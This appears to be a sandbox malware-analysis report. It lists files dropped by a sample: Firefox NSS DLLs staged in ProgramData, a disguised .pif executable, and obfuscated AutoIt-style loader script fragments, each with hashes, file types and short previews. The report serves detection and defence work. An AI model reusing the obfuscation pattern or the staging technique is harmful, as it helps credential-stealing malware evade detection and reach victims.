SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6719.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\6719.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	2A56468A7C0F324A42EA599BF0511FAF
SHA1:	404B343A86EDEDF5B908D7359EB8AA957D1D4333
SHA-256:	6398E0BD46082BBC30008BC72A2BA092E0A1269052153D343AA40F935C59957C
SHA-512:	19B79181C40AA51C7ECEFCD4C9ED42D5BA19EA493AE99654D3A763EA9B21B1ABE5B5739AAC425E461609E1165BCEA749CFB997DE0D35303B4CF2A29BDEF30B17
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2545
Entropy (8bit):	5.330114603578639
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3oOfHKdHKJHKhBHK5AHKzetTHmtHo6nmHKtXoDHsLHG1qHjHKdH5HZV:iqlYqh3oSqdqJqLq2qzIGtI6mqcMLmwA
MD5:	1163BDFDF5B17A59D1328A5809367FFD
SHA1:	5CFE495BE2EF1E77CC3CC46667CD60A000D8C5FA
SHA-256:	759A541ECE43F0A74ACC1777A16A1BAA8E121037A16544D44F4044A266639FD8
SHA-512:	1E1E2AC96D98A69DB26A31E84DB1ADB84F2366DF6D61118146816B3690CF26D13907E9A2C9D91FD2D3B7A8CCB73C696B8D3912D22981F76609C8CB40A0777608
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicK

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1016
Entropy (8bit):	5.238672058107617
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhmp1m/ib0O0bihmeF1m/i6CUXyhmjX1m/ibxdB6hm9sH1m/iz0JahmU:YqHZ6T06Mce/ib0O0bicD/iDUXycjo/v
MD5:	0CCB0B4AB6E8E3307FCC6A6CFA34AB9B
SHA1:	522BA4650CA18795F9357495BB07D5E67AB183F3
SHA-256:	FA88B5C21FF7E85D75DFB5DFC8598D09F03D0205D6C67FF1661BFB571D14181B
SHA-512:	4256925C2CAE6F4E5F73128C213B86C29DF269142B6C56BCFF21A6D53AB8137A795F2C0F83C6554EBC1EB9B5E3B9AEC1B943FE2B714ECA78A809ECB9D88B699F
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":847405920,"LastSwitchedHighPart":31061855,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":837405920,"LastSwitchedHighPart":31061855,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":827405920,"LastSwitchedHighPart":31061855,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":817405920,"LastSwitchedHighPart":31061855,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":807405920,"LastSwitchedHighPart":31061855,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":797405920,"LastSwitchedHighPart":31061855,"PrePo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	946784
Entropy (8bit):	6.628560786473655
Encrypted:	false
SSDEEP:	24576:LOo8pEnK4mrqlEZuVZ2HOI+X0l1lMZyYFaeBmyF:LF8p4KpqlEZeXI+X0TVcae3F
MD5:	848164D084384C49937F99D5B894253E
SHA1:	3055EF803EEEC4F175EBF120F94125717EE12444
SHA-256:	F58D3A4B2F3F7F10815C24586FAE91964EEED830369E7E0701B43895B0CEFBD3
SHA-512:	AABE1CF076F48F32542F49A92E4CA9F054B31D5A9949119991B897B9489FE775D8009896408BA49AC43EC431C87C0D385DAEAD9DBBDE7EF6309B0C97BBAF852A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L......`.........."...............................@.................................!Z....@...@.......@.....................T...\|....P..h............L..`&...0..,v...........................C..........@............................................text............................... ..`.rdata..r...........................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..,v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\38204\21808\G

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (528), with CRLF line terminators
Category:	modified
Size (bytes):	493044
Entropy (8bit):	5.495760416287307
Encrypted:	false
SSDEEP:	6144:cc8p+wN9LkllTNp2O90Tx18psAMcnikYf:cSllTNp2qg8psAe
MD5:	DAF7C95FFA3878EDDE190CF2528B89C7
SHA1:	CE03B0A9CD957ECB89EB0EE3FB53E36DC48E589C
SHA-256:	362FE8651E59873D994C672F5E1BCCC8E0CDD43495847E4CD68E9581DBE8DA82
SHA-512:	014AB181C8B738F548A83336F04552924CC50FD1D31DF30BD6449D79654E22E762DA4C1B34D30F6695BC9BE8F8AC29B1F896D44EE0399B698B732E95C1ED8EA2
Malicious:	false
Preview:	$YorkRegimeAvailabilityTroy = 99..$StatementCompanies = 58..While 804..If $YorkRegimeAvailabilityTroy = 97 Then..Dec(TragedyYamaha("97u100u97u112u116u101u114u33",0/5))..Sqrt(4)..$YorkRegimeAvailabilityTroy = $YorkRegimeAvailabilityTroy + 1..EndIf..If $YorkRegimeAvailabilityTroy = 98 Then..Dec(TragedyYamaha("112u107u105u106u118u111u99u116u103u34u108u99u101u109u34",16/8))..FileExists(TragedyYamaha("88u107u124u107u116u123u107u121u67",12/2))..ConsoleWriteError(TragedyYamaha("66u85u77u66u84u95u88u66u72u80u79u95u87u66u77u70u79u85u74u79u70u95",8/8))..$YorkRegimeAvailabilityTroy = $YorkRegimeAvailabilityTroy + 1..EndIf..If $YorkRegimeAvailabilityTroy = 99 Then..Opt(TragedyYamaha("91u121u104u128u80u106u118u117u79u112u107u108",56/8), 1)..ExitLoop..EndIf..WEnd..Func TrailerDesigners($TroyTrembl, $DELAWAREACTRESS, $lotverzeichnis, $CompletionRemainderDialogueCleveland, $WmaRelationDescriptions, $CaymanPetiteBenjaminKm, $productionssubstitutevegetarian, $accommodatecontinue, $financetutorialgrasab,

C:\Users\user\AppData\Local\Temp\38204\Cable

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	data
Category:	dropped
Size (bytes):	110176
Entropy (8bit):	6.160711802888628
Encrypted:	false
SSDEEP:	1536:xRZg3EYrDWyu0uZo2+9BkxXiblenlJJyIE2UWb/hoQZ2OE3:xRZgDWy4ZNogXJ3i2Umb2Oq
MD5:	EA0984C12452E6529FA15B45D4C0DB4A
SHA1:	4EE04DDF92A5FB316BD0E5C07EBD01E42722CEC9
SHA-256:	7D912EAB3995C5AFE59EB81769A4642A155F70BE14E927F2C26AA4ADFC0B4C3E
SHA-512:	EE0F8A91796E213416749A413DC4D14FA240C280E85F93E033C134AE409E9EE156E3F7B16BE0498E85F1D73B88F7422994ECCCA6B4BCCA582B1A5B5E69E734D3
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\38204\Cigarette

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	data
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	6.705009335450652
Encrypted:	false
SSDEEP:	3072:Sl8F5hPLaLWysRIO7vHZnBfzHl8Dz5YaZYvlfA6Gfza6iyY5tVGvHG:SlmhPL1b5nZ2tZ6lfA6Gfm608u
MD5:	6C6624C93751AD297285148C310FF274
SHA1:	9773285A0CB3D80626B6CAB3FF667562640F641A
SHA-256:	CF1F99AC18850DF999DB097DCE5B94395540E27BED65C17B4C1E2AA37C0AD1CA
SHA-512:	CCA0807A8B377C694A48C240990EFCF593FEDF8EA380E9C56CDC6F75E4A5006EC1B8ECEDDAE089C7C7656266E2FFD8976D1E343BEDDDD6F170EEE686228F3340
Malicious:	false
Preview:	....s..FD......6....E....}.;.s.f.......f#......f;..E.u.....}..M.A.M.;.~.......}......;.......;~\|......................FD...........M...B.}.;.~............:...$...D..}..E...............N\|;........V...t..F.j.PQ..."..........e....,.V....+.;.w f..f;F4u......E...f.G.f;F6..7..........t1.G.;F\|r).~..u#.~..u.f..f;F4u..Fh..............9...E....M.@.}..E.;...U.........F\|..}.+.;.v@.............;............Fh..................H9...F\|..}.+.;.w....M.}......}......;........N\|;.s........}....w't....t?........M....';.s-f.?.u'....}...=....t...........$....~l.......B;U.~..)....}......9M.......;~\|..#..........}.=....w4......=....w.................. .......D=...........7=_ ..w%......=. ..r#=. ........=/ ..........=.0....z...A;M...r....M......}......9M...'...;~\|..\|..........}.=....w(tY=....w.tP...tK.. ..%....@=...........3=_ ..w!t*=. ........=. ..v.=/ ..........=.0........A;M.~..M.......}......9M.......;~\|.............}.=....w..........r............=( ..r.=) ........A;M.~..M......}......9M...4...;~\|

C:\Users\user\AppData\Local\Temp\38204\Complex

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	ASCII text, with very long lines (528), with CRLF line terminators
Category:	dropped
Size (bytes):	493044
Entropy (8bit):	5.495760416287307
Encrypted:	false
SSDEEP:	6144:cc8p+wN9LkllTNp2O90Tx18psAMcnikYf:cSllTNp2qg8psAe
MD5:	DAF7C95FFA3878EDDE190CF2528B89C7
SHA1:	CE03B0A9CD957ECB89EB0EE3FB53E36DC48E589C
SHA-256:	362FE8651E59873D994C672F5E1BCCC8E0CDD43495847E4CD68E9581DBE8DA82
SHA-512:	014AB181C8B738F548A83336F04552924CC50FD1D31DF30BD6449D79654E22E762DA4C1B34D30F6695BC9BE8F8AC29B1F896D44EE0399B698B732E95C1ED8EA2
Malicious:	false
Preview:	$YorkRegimeAvailabilityTroy = 99..$StatementCompanies = 58..While 804..If $YorkRegimeAvailabilityTroy = 97 Then..Dec(TragedyYamaha("97u100u97u112u116u101u114u33",0/5))..Sqrt(4)..$YorkRegimeAvailabilityTroy = $YorkRegimeAvailabilityTroy + 1..EndIf..If $YorkRegimeAvailabilityTroy = 98 Then..Dec(TragedyYamaha("112u107u105u106u118u111u99u116u103u34u108u99u101u109u34",16/8))..FileExists(TragedyYamaha("88u107u124u107u116u123u107u121u67",12/2))..ConsoleWriteError(TragedyYamaha("66u85u77u66u84u95u88u66u72u80u79u95u87u66u77u70u79u85u74u79u70u95",8/8))..$YorkRegimeAvailabilityTroy = $YorkRegimeAvailabilityTroy + 1..EndIf..If $YorkRegimeAvailabilityTroy = 99 Then..Opt(TragedyYamaha("91u121u104u128u80u106u118u117u79u112u107u108",56/8), 1)..ExitLoop..EndIf..WEnd..Func TrailerDesigners($TroyTrembl, $DELAWAREACTRESS, $lotverzeichnis, $CompletionRemainderDialogueCleveland, $WmaRelationDescriptions, $CaymanPetiteBenjaminKm, $productionssubstitutevegetarian, $accommodatecontinue, $financetutorialgrasab,

C:\Users\user\AppData\Local\Temp\38204\Hottest

Download File

Process:	C:\Users\user\AppData\Local\Temp\90FB.exe
File Type:	ASCII text, with very long lines (1835), with CRLF line terminators
Category:	dropped
Size (bytes):	12207
Entropy (8bit):	5.783336492178602
Encrypted:	false
SSDEEP:	192:8fkcfwoKMsbKUIo0Una+l4tkV8R2qAnoePA8gs9wmeB5b8VUb86uz+CZ/zUNiIPf:8fPYoKM6KU5xna+k48UDnnA8VqmVVA8k
MD5:	6C3DB9D2EE7FDF582EE1CCC7A23B7790
SHA1:	96FCEA7CC3D585F4249BC8345787C35F299B65C9
SHA-256:	25784A61A1F3B4C01E071001E65CE34E8EE4E89E7FDBE875726F71865D37F011
